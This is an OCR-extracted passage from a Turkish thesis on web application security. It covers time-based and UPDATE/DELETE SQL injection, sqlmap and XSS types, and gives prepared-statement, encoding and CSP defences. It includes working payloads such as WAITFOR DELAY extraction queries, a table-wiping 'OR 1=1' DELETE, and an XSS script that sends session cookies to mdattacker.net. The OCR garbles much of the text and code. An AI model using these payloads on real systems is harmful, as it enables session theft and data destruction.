Bu zafiyetin tespiti i¢in veritabani hata mesajinin ekrana basiliyor olmasi yeterlidir.
Bazi uygulamalarda hata mesajlar1 kullanicilarin gorebilecegi sekilde olmayip
HTML yorum satir1 igerisinde saklaniyor olabilir. Dolayisiyla hata mesaj1 tarayicida
goziikkmese bile istege kars1 gelen cevabin HTML kaynak kodu incelendiginde hata

mesaj1 gorlintiilenebilir.

Zaman Tabanli SQL Enjeksiyonu

Su ana kadar ele aldigimiz SQL Enjeksiyonu zafiyetleri, alinan hata mesajlari,
uygulamanin dogru/yanlig gibi bir izlenim birakmasi sonucu tespit edilmekteydi.
Fakat kimi zaman uygulamalar bu davranislari sergilemezken yine de SQL

Enjeksiyonu zafiyetine sahip olabilirler. Yani aslinda bir zafiyet s6z konusu iken
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yokmus gibi goriinebilir ancak bu aldatict olacaktir. Zaman Tabanli SQL
Enjeksiyonu zafiyetinde, yapilan istege kars1 sunucudan dénen cevabin igerigi yerine
cevabin doniis stiresi goz Ondnde bulundurulur [19]. Bu donis siiresi test
parametrelerinde kullanilan zaman ile neredeyse ayni degerde (+1,2 saniye sapma
olabilir) olmalidir [19]. Bir nevi Kér SQL Enjeksiyonuna benzemektedir. Ciinkii Kor
SQL Enjeksiyonunda yapilan istegin sonucunda kullanicinin dogru/yanlis igerik
gormesiye ilgilenilirken, Zaman Tabanli SQL Enjeksiyonunda yapilan istege karsin
cevabin doniis siiresinin  belirtilen saniyeden fazla veya az olmast ile
ilgilenilmektedir. Bu zafiyetin tespiti i¢in uygulamanin kullandig1 veritabaninin
zaman icerikli fonksiyonlar1 / komutlar1 tahmin edilmelidir [26]. Ornegin, MSSQL
veritabanlar1 icin WAITFOR DELAY komutu yardimiyla veritabanina belirtilen siire
kadar bekleme yaptirmak miimkiin olabilmektedir [19]. Eger istenilen siire kadar
cevap bekletiliyor ise uygulama iizerinnde injection’a uygun bir ortam oldugu

anlaigilabilir.

WAITFOR DELAY “0:0:20’; (20 saniye bekle)

Cizelge 3.3 : SQL enjeksiyon zafiyeti ile database bilgilerinin alinmasi

Sorgu Cikt1 Yorum
SELECT user dbo Veritabani kullanicisi.
SELECT SUBSTRING (( SELECT user,1,1)) d Veritabani kullanici isminin ilk karakteri.
SELECT ASCII (SUBSTRING ( (SELECT 100 Veritabani kullanici isminin ilk karakterinin
user),1,1)) ASCII degeri.

SELECT 1 IF (ASCII (SUBSTRING 1 Veritabani kullanici isminin ilk karakterinin
( (SELECT user),1,1))) = 100 WAITFOR ASCII degeri 100 ise 20 san bekle ve ekrana

DELAY 0:0:20’ 20 san gecikmeli olarak 1 dondr.
SELECT 1 IF (ASCII ( SUBSTRING 1 Veritabani kullanic1 isminin ilk karakterinin
( (SELECT user),1,1))) = 97 WAITFOR ASCII degeri 97 degilse ekrana hi¢ bekleme

DELAY 0:0:20’ yapmadan 1 dondir

Istismar adimlar yapilacak sql sorgularin doniis siirelerine bakilarak karar verilir.

3.5.3.2 Farkh SQL ifadelerinde SQL enjeksiyonu zafiyeti
Su ana kadar SQL Enjeksiyonu zafiyetini hep SELECT sorgularinda tespit ettik,

ancak DELETE/INSERT/UPDATE vb. gibi SQL sorgularinda da SQL Enjeksiyonu

zafiyeti bulunmaktadir ve otomatize araglarin bu sorgulardaki zafiyeti tespit etmesi
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SELECT sorgularina gore daha zor oldugundan dolay1 testlerin manuel olarak

yapilmasi gerekecektir.

Insert: Veritabaninin ilgili tablolarina herhangi bir veri eklemek i¢in kullanilir.
Ornegin; yeni bir kullanic1 hesabi olusturdugumuzda, sitelere yorum ekledigimizde,
alis veris sepetlerine tiriin ekledigimizde arka tarafda ilgili verileri uygulamadan alip
veritabanina eklemek i¢in insert komutu kullanilir [19]. INSERT isleminde SQL

Enjeksiyon saldiris1 genellikle values kisminda yer alir.

Update: Veritabanindaki herhangi verileri giincellemek i¢in kullanilir. Update i¢in
ornek vermek gerekirse kullanict bilgilerinin degistirilmesini, alis veris sepetindeki
iirlin  miktarmin degistirilmesini vb. gibi islemleri godsterebiriz [19]. Update
sorgusunda — yorum satir1 kullanirken dikkatli olmak gerekmektedir. Ornekle

gostermek gerekirse;
UPDATE CREDITCARD SET name = * “ +name+” > WHERE USERID =1

Yukaridaki SQL sorgusu SQL Enjeksiyonu zafiyetine sebep olacak name
parametresini icermektedir. Eger bu sorguya asagidaki gibi bir parametre gonderecek

olursak;

a’--

Ilgili sorgumuz asagidaki gibi olacaktir:

UPDATE CREDITCARD SET name = ‘a’-- WHERE USERID =1

-- yorum satir1 oldugundan CREDITCARD tablosundaki tiim name degerleri a olarak
degistirilecektir. Bu ylizden - kullanirken dikkatli olmali ve her ihtimali

diistinmeliyiz.

Clnkl — yorum satir1 kendinden sonraki kisimlar1 dikkate almadigindan tablonun
tim kayitlar1 iizerinde degisiklik yapilir ve buda veri biitlinliiglinlin bozulmasina

neden olur.

Delete: Veritabani {izerinde veri silme islemi gergeklestirmek igin kullanilmaktadir.
Eger bu asama da uygulama SQL Enjeksiyonu zafiyeti barindiriyor ise yapilacak
olan injection saldiris1 ile veritabanmi iizerindeki tiim kayitlar silinebilir [19]. Bu

zafiyetin var olduguna kanaat getirmek icin ise silinen veriyi daha sonra SELECT
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sorgusunda listelemek istedigimiz de veritabani iizerinde kayilar bulunamaz ise ilgili

zafiyetin olduguna kanaat getirebiliriz.

INSERT ve UPDATE sorgularina gore kullanimima azami dikkat gosterilmelidir.

Ornegin kredi kart1 kayd: silinmesini gdstermek gerekirse;

http://www.example.com/delete.jsp?cmd=delete&cardld=30 OR 1=1

Yukarida gosterdigimiz GET istegine karsin uygulama arka tarafda veritabani

sunucusu iizerinde asagidaki sorguyu ¢alistiracaktir:
DELETE FROM CREDITCARD WHERE userid = 1 AND cardid = 30 OR 1=1

Bu sorgu calistirildiginda WHERE sonrast her zaman TRUE donecegi igin
CREDITCARD tablosunun tiim verileri silinmis olacaktir. O yiizden de kullanimina
dikkat edilmelidir.

3.5.3.3 SQL saldir1 zafiyetinin otomatizasyonu

Simdiye kadar gosterdigimiz drneklerde basit veriler bile ciddi sayida istek yapilarak
elde ediliyordu. Veritabani igerisindeki tiim bilgilerin alinmasi istenilen durumlarda
bu istek sayilarini manuel olarak yapmak ciddi is ve zaman yiikii getireceginden ilgili
zafiyeti otomatize etmek ic¢in araglar kullanilmalidir. Bu araclardan biri de
SQLMAP’tir [19]. SQLMAP, sizma testi ¢aligmalar1 sirasinda SQL Enjeksiyonu
zafiyetinin tespiti ve istismari i¢in kullanilan ve Python ile yazilmig agik kaynak

kodlu bir aragtir. Normalde

Linux iizerinde ¢alismaktadir fakat Python ile yazildigindan bir ¢ok isletim sistemi
tizerinde de calisabilir. Cogu Veritaban1 Yonetim sistemleri destegi bulunmaktadir

[21]. Diger araglardan farka;
e Destekledigi SQL Enjeksiyonu tiirlerinin ¢ok olmast;
e Tim veritabani verisinin alinmasi;
e Deneme yanilmalar i¢in i¢erisinde sozliikler bulundurmast;

Bu aracin nasil calisti§i  konusuna gelince, istekde belirtmis oldugumuz
parametrelere gore hedef web sitesi Uzerinde icerisinde mevcut olan komponentleri

deneyerek acik arar. Ornek vermek gerekirse;

python sglmap.py -u “http://www.example.com/index.jsp?id=1"" -f —banner
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ilgili istekde eger id parametresi zafiyet barindirtyor ise, o zaman bize veritaban
siirim bilgisini vermis olacaktir (Oracle i¢in) [21]. Bu aractan baska, Havij,
Netsparker, sqlninja araglar1 da kulanilabilir [3].
3.5.3.4 SQL enjeksiyonu zafiyetinin ¢6zimu
SQL Enjeksiyon’dan korunmak i¢in 3 baglica yontem vardir [23]:

e Parametrized Queries (Prepared Statement)

e Stored Procedure

e Cikt1 Kodlama

Cikti kodlama yontemi sayet diger 2 yontemin kullaniminin miimkiin olmadig
durumlarda kullanilmalidir. Bu yontemlere ek olarak Girdi Denetimi uygulanmasi da

giivenligi artiracagi i¢in tavsiye edilir.

[ String username = Session["username"];
String password = Session["password"];
String String query = "SELECT * FROM users WHERE username=""+username+"" AND
Ekleme | password=""+password+"";
SglCommand command = new SglCommand(query, DataConnection);
. SglDataReader dataReader = command.ExecuteReader();

String query = "SELECT * FROM users WHERE username=@username AND
Parametrik = password=@password;";

Sorgu command.Parameters.AddWithValue("username”, Session["username"].toString());
command.Parameters. AddWithValue("password", Session["password"].toString());
SqglDataReader dataReader = command.ExecuteReader();

Sekil 3.29 : SQL enjeksiyonu zafiyetinin ¢ézimu
PreparedStatement
String usermame = request.getParameter("username");
String password = request.getParameter("password”);
String query = "select * from USERS where username=? and password="?"
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);

pstmt.setString(2, password);

ResultSet rs = pstmt.executeQuery();

Sekil 3.30 : SQL enjeksiyonu zafiyetinin Prepared Statement ile ¢6zimi
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Stored Procedure

String username = request.getParameter("username”);
try{
String query =" { call sp_getUserBalance(?) } ";
CallableStatement cs = connection.prepareCall(query);
cs.setString(1, username);
ResultSet rs = pstmt.executeQuery();

tcatch(SQLException e){
Herror handling

}

Sekil 3.31 : SQL enjeksiyonu zafiyetinin stored procedure ile ¢ozimdi
3.5.4 Siteler arasi betik ¢calistirma (XSS)

XSS- Cross Site Scripting zafiyeti, hemen hemen her uygulamada karsilasilabilecek
cok eski bir zafiyetlerden biridir. TOP 10 listesinin 2. sirasindadir [2]. Bir
uygulamanin kullanicidan (saldirgan) gelen girdileri (zararli kodlar) denetlemeden ve
0zel karakterleri kodlamadan diger kullanicilara gondermesi sonucu kullanicilarin
web tarayicilarinda bu zararh script/ betik kodlarin ¢alistirilmasi sonucu ortaya g¢ikar
[23]. Betik koda 6rnek olarak CSS, HTML, Javascript vb. ile hazirlanmis kod

parcaciklarini gosterebiliriz. Agirlikli olarak javascript kullanilmaktadir.

Bu zafiyet istismar edildigi zaman c¢ogunlukla kurban tarafindan fark

edilmemektedir. XSS ag1g1 uygulamanin zafiyeti olup 3 gruba ayrilir [23]:
e Reflected (Non-Persistent)
e Stored (Persistent)
e DOM Based

Bunlarin birgok ortak 6zellikleri olsada, tespiti ve istismar1 arasinda 6nemli farklar

vardir.
XSS o6rnek olarak su risklere neden olabilir:

1. Kullanicilarin cookie’lerine eriserek oturum bilgilerinin ¢alinmasi ve boylece

bu kullanicilarin hesaplarina izinsiz erigim;
2. Web sayfasinin icerigini degistirme;
3. XSS Worms (MySpace Samy)
4. Port Tarama

5. Javascript Keylogger yikleme

76



XSS saldirt araglart igin:
e BeEf[3]
e Shell on the Future [3]
XSS zafiyet tarama araglari i¢in:
e Burp[3]
e ZAP[3]
e Netsparker [3]

kullanilabilir.

3.5.4.1 Reflected XSS

Reflected XSS zafiyeti, XSS zafiyetleri arasinda en ¢ok karsilagilan tiirdiir ve ¢ok
yaygin bir 6rnek olarak, uygulamanin kullanicilara veri girmesine ve girdigi verilere
gore olusturulmus icerigi goriintiileyebilmek i¢in kullandiklar1 dinamik sayfalari
goOsterebiliriz. Bu duruma en iyi Ornek arama kutucuklart gosterilebilir [24].
Kullanicidan girdi olarak alinan bilgi yani potansiyel olarak zararli kod parcacigi
veritabanina yazilmadigi i¢in sadece bir defa internet tarayicisi tarafindan ¢agrilmasi
ile kullanictya sunulur. Bu zafiyet tiirlinde saldirgan XSS zafiyeti igceren bir link
hazirlar ve bu linki kurbanin kendi tarayicisinda ¢alistirmasini ister. Kurban bu linke
tiklarsa, zafiyete yakalanmig olur. Kullanici herzaman bu linke tiklayacak kadar saf
olmayabilir. Boyle kullanicilar lizerinde saldirinin basarili olmasi i¢in URL kisaltma

(t.co/Vgytoh7) servisleri kullanilir.

Tespiti: Tipik bir 6rnek gostermek gerekirse, dinamik bir sayfanin mesaj metni
iceren parametreyi alip daha sonra bu metni kullaniciya geri dondiirmesini

gosterebiliriz [3]:
Ornek olarak, hata mesajimni dondiiren asagidaki URL’i dikkate alirsak;

http://mdsec.net/error/5/Error.ashx?message=Sorry an error occurred

77


http://mdsec.net/error/5/Error.ashx?message=Sorry%20an%20error%20occurred

/" Error - Windows Internet Explorer [ -0 x]|
0 - |p hitep: fimdsec.netiermor (S{Ermor e R Ty j w4l x | Biry e

File Edit Wew Favarites Tools Help

- Favartes @ Error ‘ [ i~ Bl - O mm - Page- Safety~ Tooksw - ‘
¢ Web Application
Error Hackers
quu]lmuk

Sorry, an error occurred

Done 1, T o [ [ Trusted sites e [®ioe = 4

Sekil 3.32 : XSS zafiyetinin tespiti [3]
Dondiiriilen sayfanin HTML kaynak koduna bakildiginda uygulamanin, URL’deki
zafiyet iceren message parametresinin degerini kopyalayip hata sayfasinda uygun bir
yerde gosterdigini gore biliriz.
<p>Sorry, an error occurred</p>
Kullanicidan alinan girdinin sunucunun cevabinda HTML igerisine eklenmesi
Reflected XSS agiginin olduguna dair isaretlerden biridir (istismar suan ig¢in zarar

verecek noktada olmasa da gergeklesmistir) ve higbir filtreleme yapilmiyorsa

uygulama kesinlikle savunmasizdir diyebiliriz.

Asagidaki URL ilgili test parametresi yerine artik istemci (client) tarafinda
calistirilan Javascript kod parcacigini message parametresine ekleyerek hata mesajini

pop up icerisinde gostermek i¢in hazirlanmistir:

http://mdsec.net/error/5/Error.ashx?message= <script>alert(1)</script>

Istekde bulunulan bu URL orijinal mesajin yerine asagidaki kod parcasini iceren

HTML sayfa dondurecektir:
<p><script>alert (1) </script></p>

Geri dontigde tarayici ilgili sayfayr islediginde, girdi herhangi bir kontrolden
gecirilmez ise tarayici tarafindan script etiketleri okunup, alert metodu calistirilacak

ve asagidaki gibi popup mesaj1 goriintiilenecektir:
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Sekil 3.33 : XSS ile zararli kod pargacigi ¢aligtirma [3]
XSS istismarimin kaniti; Web uygulamalarin ¢ogunda bu c¢esit XSS bulgusu
yaklasik olarak %75 civarindadir [24]. Bu XSS aci181 Reflected yani yansitilan XSS
adlanir, c¢linkii bu acigin istismarinda URL’de gomiilii Javascript igerisinde
hazirlanmis olan kullanici girdisi HTML karakterlerinden ayristirilmadan yada
encode edilmeden istegi yapan herhangi bir kullanciya oldugu gibi yansitilir. Bu
saldir tipi tek bir request/response lizerinden gidildigi igin first-order-XSS de adlanir
[22]. Reflected XSS zafiyeti testlerinde onemli olan nokta gonderdigimiz test
parametresinin bize gelen cevap icerisinde aym sekilde olup olmadigina
(yansimasina) bakmaktir. Ancak unutmamak lazim ki her yansima zafiyet anlamina
gelmez. Ornek olarak, arama kutucugu igerisine girdigimiz metnin bize hemen

istegimizin ardindan gelen cevap igerisinde bir yerlerde gosteriliyor olmasi gibi.

Istismari: XSS aciklar, farkli sekillerde uygulamanin kullanicilarina saldirarak
istismar edile bilir. Bu saldirilardan en basiti, saldirganin kimlik dogrulamas1 yapmis
kullanicinin oturum bilgisini (session token) ele gecirmesidir [25]. Saldirgan
kullanicinin oturumunu ¢alarak kullanicinin yetkili oldugu tiim veri ve islevsellige
erisim saglaya bilir. Bu saldirinin nasil gerceklestigini asagidaki resim ile

gosterebiliriz:
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Application

: L
2,
77,
2. Saldirgan zararl URL'i kullaniciya génderir. 4

Kullanici » Saldirgan
6. Kullanicinin tarayicisi token bilgisini saldirgana gdnderir.

| REFLECTED XSS ZAFIYETI ADIMLARI |

Sekil 3.34 : XSS zafiyetinin istismar senaryosu

1. Kullanic1 (kurban) normal olarak uygulamaya giris yapiyor ve uygulama
kullanicinin tarayicisina oturum tanimlayicist (session token) iceren cookie

gbnderiyor:
Set-Cookie: sessld=184a9138ed37374201a4c9672362f12459c2a652491a3

2. Bazi araglarla saldirgan kullanictya daha onceden hazirlamis oldugu
Javascript igeren URL’i gonderiyor ve kurbanin bu URL’i cagirmasini

sagliyor (bu URL kurbana e-posta yoluyla da génderile bilir) [3]:

http://mdsec.net/error/5/Error.ashx?message=
<script>var+i=new-+Image;+i.src=""http://mdattacker.net/”’%2bdocument.cookie;

</script>
3. Kurban kendisine saldirgan tarafindan gonderilmis olan URL’e tikliyor.

4. Sunucu kurbanin istegine URL i¢inde bulunan saldirganin hazirladig1 zararh

kod parcasi ile cevap doner.
5. Zararl kod pargasinin bulundugu cevap kurbanin tarayicisinda caligir.

6. Saldirgan tarafindan hazirlanmis olan zararli kod pargasi asagidaki gibidir:
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var i=new Image; i.src=""http://mdattacker.net/”’+document.cookie;

Bu kod pargas1 kurbanin tarayicisinin saldirgan tarafindan olusturulmus olan domain

adresine ( http://mdattacker.net ) istek yapmasina neden olur. Bu istek hedef

uygulama ic¢in kurbanin gecerli oturum tamimlayicisini  (session token)

barindirmaktadir:
GET /sessld=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1
Host: mdattacker.net

7. Saldirgan mdattacker.net sitesine gelen istekleri izler ve ¢aldigi oturum
cookie’sini kullanarak ~ ayni kurban gibi hedef uygulamaya kullanici oturumuyla

baglanir.

Bazi uygulamalar kullanicinin her siteye ziyaretinde kimligini yeniden dogrulamak
i¢in kalic1 cookie igermektedir (remember me islevselligi gibi) [6]. Bu durumda, 1.
adim yani kullanicinin giris yapmasi geregi ortadan kalkacaktir. Durum bdyle iken

kurban hedef uygulamada aktif olmasa bile saldir1 gergeklestire bilecektir.

XSS agiklar1 durum bdyle olunca daha da kritik hale gelmektedir. Saldirinin yapilma
nedenleri ve salridiginin nasil yapildigi tarayicilarin uyguladigr ayni kaynak

politikasi ile agiklanabilir [26].

3.5.4.2 Ayn1 kaynak politikas1 (SOP)

Bu politika tarayicilar tarafindan erisilen farkli kaynaklarin birbirlerinin metotlarina
ve Ozelliklerine erismelerini engeller [26]. SOP, bir uygulamanin kaynaklarin1 ya da
bir web sayfasinin elemanlarin1 bagka bir uygulamanin nasil kullanacagini belirten

kurallar buttntdar.
Same Origin = Protokol + Domain + + Port
Politikanin ana maddeleri sunlardir:

1. Bir site, bagka bir siteye herhangi bir istek gondere bilir, fakat o siteden gelen

veriyi isleyemez [26].

2. Bir site, bagka bir sitede js kodu c¢alistirabilir. Bunun nedeni js’in veri degil
kod igcermesidir. Bu ylizden siteler arasi erisim hassas verilen sizmasina

neden olmaz [26].
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3. Bir site bagka bir siteye ait olan Cookie veya DOM verilerini okuyamaz veya

degistiremez [26].

Same-Origin Policy mevcut olmasaydi, ve habersiz bir kullanici1 kotii niyetli bir web
sitesini gdzden gegirseydi, o site iizerinde c¢alisan script kod veriye erise bilir ve
islevselligi degistirebilirdi. Bu sayede kotii niyetli web sitesi kullanicinin online
bankasindan para transferi gergeklestire bilir, kisinin email'ni okuya bilir ve kullanici
online aligveris yaptiginda kredi kart1 bilgilerini ele gecirirdi. Bu nedenle tarayicilar
sadece aymi kaynaktan alinmis igerikle etkilesimin bu tiiriine izin kisitlamalari
uyguluyorlar. Aynm1 kaynaktan kastimiz, protokol, alan ismi ve port kiimesidir [26].
Bir tanim yapmak gerekirse, iki kaynagin ayni kaynak olmasi i¢in gerekli sart, bu
degerlerin (protokol, alan ismi ve port) ayn1 olmasidir. Yani, bir kaynaktan ytliklenen
script veya dokiimanlarin diger kaynaktan yliklenen dokiimanlarin ozelliklerini

degistirmesini engeller.

SOP (Ayn Kaynak Politikasi)
URL Durum Neden
http://site1.com/dir2/other.html Basarih
http://site1.com/dirfinner/another.htmi Bagarih
| https://sitel1.com/secure._htmi _'_':: = Hatali Farkh Protokol
| hitp://site1.com:81/dir/etc.html _.:::::- Hatal Farklh Port
[ http://site2.com/dir/other.htmi > Hatal Farkli Uygulama
site1.com
1.js 2js
Methodlar Methodlar N Methodlar
Veriler - Veriler /\ Veriler

Sekil 3.35 : Aym Kaynak Politikas1
Tarayicilar farkli kaynaklardan aldiklart icerikleri farkli contextler’de tutarak SOP
kuralin1 uygularlar. Bu contextler arasinda bariyer oldugu igin bir birlerini
etkilemezler, karsi alanlara miidahele edemezler. Bundan dolayi, mdattacker.net
domaininde yerlesen script “document.cookie”’yi sorguladiginda, mdsec.net

tarafindan olusturulan cookie’leri ele geciremeyecegi i¢in oturum g¢alma saldirisi
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basarisiz olacaktir [3]. Kurban saldirganin hazirladigr zararli URL’1 tikladiginda
uygulama JS igeren sayfay1 geri dondiiriir. Tarayici1 donen sayfadaki js’leri sanki ayni
domainden gelmis gibi algilayarak ¢alistirir. Calistirilan zararli JS mdsec.net ile aym

kaynakta oldugu i¢in cookie ve benzeri bilgilere saldirganin erigimi olacaktir.

3.5.4.3 Stored / Persistent XSS

XSS agiklarinin diger bir tiirii de Stored XSS’dir. Reflected XSS’den farkli olarak
kullanicinin bir linke tiklamasina gerek yoktur. Stored XSS igeren bir web sayfasini
(6rn, forum) ziyaret etmesi yeterlidir. Dolayisiyla Reflected XSS agigina gore daha
risklidir. Bu zafiyet tiiriinde saldirgan zararli kodunu veritabani veya sunucuya
enjekte eder [27]. Bu yiizden de uygulama veritabaninda keydedilen biitiin girdiler
stored XSS’in hedefindedir ve test edilmelidir. Dosya yiikleme fonksiyonlar1 ile
HTML dosyasi yiiklenebiliyorsa bu yolla da XSS saldiris1 uygulanabilir.

Tespiti; Stored XSS zafiyetinin tespiti Reflected XSS ile benzerlik gdstermektedir.
Fakat Stored XSS agiklar1 giivenlik agisinda Reflected XSS agiklarina gére daha
kritikdir [28]. Bunun 2 nedeni bulunmaktadir:

1. Yansitilan XSS zafiyetinde saldirgan hazirlamis oldugu zararhi url’i
kullaniciya iletir ve kullanicininin url’i tiklamasimi bekler. Saklanan XSS
acikliginda ise veritabanit veya sunucuya enjekte edildigi i¢in zararli url
olusturma gerek kalmaz ve kullanicinin kendi rizasiyla sadece url’e girmesini

beklemektedir [28].

2. XSS agikliklarinin oturum bilgilerini ¢almak amaciyla kullanilabilmesi igin
kullanicinin uygulamaya giris yapmis olmasi gerekmektedir. Yansitilan XSS
saldirilarinda ise saldirgan kullaniciy1r yine giris yapmaya yonlendirmek
zorundadir. Saklanan XSS saldirilarinda ise kullanici sisteme giris yapmis
durumundadir. Ayrica zararh etki veritabani veya sunucuya enjekte edildigi
icin birden fazla kullanici kurban olabilir. Hatta zararli etkiyi sistem
yoneticisinin goriintiilemesi durumunda uygulamaya yonetici haklariyla

erisim de miimkiin olacaktir [28].

3. Genellikle pek bilinmeyen zafiyetlerden biri de JavaScript ve HTML
kodlarinin i¢inde bulundugu dosyalarin sunucuya yiiklenebilmesi ve bu

dosyalarin ~ kullanicilar ~ tarafindan  goriintiilenmesi  ile  kodlarin
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calistirllmasidir. Explorer kullanarak bir kullanici dogrudan bir Jpeg
dosyasini ¢agirirsa (yani bir HTML dosyasi i¢indeki <img> etiketi i¢inde yer
almadan) Internet Explorer bu dosyanin HTML kodu igermesi durumunda
bunu HTML kodu olarak yorumlayacaktir. Eger uygulama JPEG dosyasinin
iceriginin gergekten resim igerip icermedigini kontrol etmezse bu tiir bir

saldirty1 gerceklestirmek miimkiin olacaktir.

Stored XSS agiklarinin Reflected XSS’de gosterdigimiz 6rnek gibi oturum bilgisinin

calinmasini asagidaki gibi gosterebiliriz [29]:

Saldirgan

7.

l 1. Kotld amach olusturulmus istek

2. istek 3. Kurcalanmig HTML cevabi

Kurban Kurban Kurban Kurban
Sekil 3.36 : Stored XSS zafiyeti senaryosu
Gercek hayattan bir 6rnek:

MySpace Worm -2005 (Samy Worm) [28]
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Gergek Hayattan Bir Ornek

Kod Eklenmeden énce : 73 arkadas

1 saat sonra : 73 arkadas - 1 arkadaslik istegi

7 saat sonra : 74 arkadas - 221 arkadaslik istegi

1 saat sonra : 74 arkadas - 480 arkadaslik istegi

1 saat sonra : 518 arkadas - 561 arkadaslik istegi

5 saat sonra : 2503 arkadas - 6.3
3 arkadaslik istegi

Birkag sn sonra :
Your Profile is Down for Maintenance

Sekil 3.37 : Samy Worm G6rnegi
Samy, profiline bir kod ekler. Samy’nin profilini ziyaret eden herkes;
1. onu arkadas olarak ekler,
2. bu kodu kendi profiline ekler.
Bu saldir tipi 2 istek iizerinden gitmektedir:
1. Saldirgan uygulamanin depoladigi zararli kod igeren veriyi postaliyor.

2. Kurban saldirganin verisini igeren sayfayi goriintiiliiyor, script kurbanin
tarayicisinda calistiginda zararli kod ¢alistirilmis oluyor. Saldir1 iki adimdan

olustugu i¢in second-order XSS olarak da adlandirilir.

3.5.4.4 DOM tabanh XSS

DOM (Document Object Model) Tabanli XSS zafiyeti, girdilerin sunucu tarafindan
degil de istemci tarafinda JS nesnelerinden elde edilip eklendigi durumlarda
meydana gelir [29]. Dolayisiyla, digerlerinden farkli olarak DOM tabanli XSS’te,
ilgili parametrenin sunucuya gonderilmesine gerek yoktur yani sunucudan
kullaniciya gonderilen HTML zararli bir kod icermez. DOM tabanli XSS Reflected
XSS’e benzemektedir. Her ikisinde de kullanici saldirganin tirettigi URL’1 tiklamak
zorundadir. Tarayict DOM objesini cagirir ve DOM objesi zararli kodu calistirir.
DOM Based XSS oldukga zor bir zafiyet tlridir. Hatta bu zafiyetin tespiti igin

otomatize araglar bile bazen yetersiz kalmaktadir. Manuel olarak yapilan
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denemelerin sayist fazla oldugundan harcanacak zaman da diger XSS tiirlerine gore
oldukga fazladir [28]. Bu zafiyet tiirinii digerlerinden ayiran en biiyiik fark
gonderilen saldir1 parametrelerinin sunucuya ulagsmasina gerek kalmadan zafiyetin
gergeklesiyor olmasidir. Bu zafiyet tiiriiniin en gilizel yani istemci tarafinda oldugu
icin sunucuya herhangi bir paket veya zararli kod gonderilmemektedir. Bu nedenle

sunucu tarafinda tespiti miimkiin degildir.

Tespiti; DOM temelli XSS saldirisinin nasil gergeklestirilebilecegine dair bir 6rnek
vermek gerekirse, sunucunun donecegi sayfanin i¢inde asagidaki betik oldugunu

varsayalim [3]:

<script>
var a = document.URL;
a=unescape(a); // bu kod URL’deki 6zel karakterleri encode eder.
document.write(a.substring(a.indexOf(*“message="") + 8, a.length));

</script>

Bu betik URL i¢inde bulunan mesaj parametresinin igerigini dinamik olarak sayfanin
HTML kodunun igine yazmaktadir. Asagidaki gibi bir URL Uretirsek bu sayede
istedigimiz bir betigin ¢alismasini saglamis oluruz [3]:

https://www.example.com/error.php?message=<script>alert(‘xss’);</script>

3.5.4.5 Zafiyetin istismari

Kullanicinin oturum bilgisini ¢almayr amaglayan DOM Tabanli XSS saldirisini

adimlar1 asagida gosterilmektedir:
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Saldirgan

VA
l

1. Zararh Link

4. Zararh kodun tarayicida calismasi

Kurban
3. Temiz HTML cevabi 2. Kullanici zararh linke tiklar

Sunucu

Sekil 3.38 : DOM tabanli XSS zafiyetinin istismar1

3.5.4.6 XSS zafiyetinin ¢6zUmu

XSS zafiyetinin ¢6zUmi igin genel olarak kullanilan iki kural vardir:
1. Girdi Denetimi
2. Cikt1 Denetimi

Ilk yontem hemen hemen her uygulama giivenligi probleminin temel ¢dziim
noktasidir. Girdi denetimi, kullanicinin girmis oldugu girdilerin kontrol edilerek igeri
alinmasi yani uygulamanin beklentisi disinda gelen girdilerin elenecegi anlamina
gelmektedir [6]. Tim kullanic1 girdileri disa aktarilmadan once 6zel karakterlerin

kodlanmas: (escaping) gerekmektedir.
o  <script> — &lt; script&gt;

Sadece HTML entity kodlamas1 yeterli degildir. Bu durumda ¢ikt1 denetimi (output
encoding) yapilmalidir. Hatta girdi denetimi yapilmasa bile c¢ikti denetiminin
yapilmast XSS zafiyetine karsi ¢O6ziim saglaya bilir. HTTP cevaplarinda CSP
(Content Security Policy) header bilgisi kullanilmalidir. CSP  XSS’e Kkarsi
gelistirilmis W3C standardidir [28]. CSP, HTTP cevaplarinda bulunursa web
tarayicilar JS kodu c¢alistirmak icin daha kuralc1 ve titiz davranirlar. Cikti kodlama

i¢in varolan kiitliphanelerden yararlanilmalidir [10].

Bunlara;
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e ESAPI Encoder (encodeFor metotlari)
DOM - tabanli XSS’den korunmak ig¢in;

1. innerHTML, outerHTML, document.write gibi HTML rendering metotlari
kullanilmamalidir. Kullanilmasi zorunlu durumlarda gerekli ¢ikt1 kodlamasi
yapilmalidir:

element.innerHTML =

“<%=Encoder.encodeForJS(Encoder.encodeForHTML (untrustedData))%>"

2. JSON igin JSON.parse() metodu kullanilmalidir.

3. Dinamik igerik olusturmak i¢in document.createElement(),

element.SetAttribute(), element.appendChild() gibi metotlar kullanilmalidir.
4. Eval () gibi kod ¢alistirma metotlar1 kullanilmamalidir.

Eval () metodu string tipinde bir deger almaktadir. Ancak aldig1 bu deger calisabilen
bir js kodudur. Bu metot aldig1 string parametresinden dinamik olarak bir js kodu

iretip ¢alismasini saglar [29].
Ornegin;
document.write (eval(“3+2”)) // sonug 5 doner.

3.5.5 Phising

Password (Sifre) ve Fishing (Balik avlamak) kelimelerinin birlesmesiyle olusan ve
tirkceye oltalama olarak ¢evrilmis bir saldir1 tiridir [28]. Genellikle XSS
aciklarindan yararlanmaktadir. Bu saldirt tiiriinde amac, kurbanlarin hesap
numaralart ve sifreleri, kredi karti numaralari, internet bankaciliginda kullanilan
kullanici kodu ve sifrelerini ¢almaktir. Saldirgan bu yontemle bankalar

(www.bank.com) ,alis-veris, oyun , sosyal paylasim aglar1 vb. siteleri taklit edip

kopya web sayfalar1 hazirlayarak kurbanlara sanki gergek siteleri kullantyormus gibi
izlenim vererek kurbani bu sahte sitelere yonlendirmeyi i¢ermektedir [6]. Kopya
siteler taklit edilecek ilgili sitelerin bire bir kopyasinin olusturulmasi ile miimkiin
olmaktadir. Ornek verecek olursak; saldirgan bir online kontdr sitesi agar ve insanlar
online kontor almak istediklerinde kredi kart1 bilgilerini girerler ve herhangi bir satis

yapmadan saldirgan kurbanlarinin kredi kart1 bilgilerini toplar [6]. Kurban e-posta
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adresine gelen URL’in tamamina dikkat ederse bu sayfanin sahte bir sayfa oldugunu

anlayip phisihing i¢in kullanildigini fark edebilir.

3.5.5.1 Phising saldirilar tespiti

1. Saldirgan ilk 6nce hedefledigi kaynagin sahte kopyasini olusturarak ilk adimi

atar. Burada saldirganin hedefledigi siteye kurban kullanici adi ve parola

bilgilerini kullanarak girmelidir.

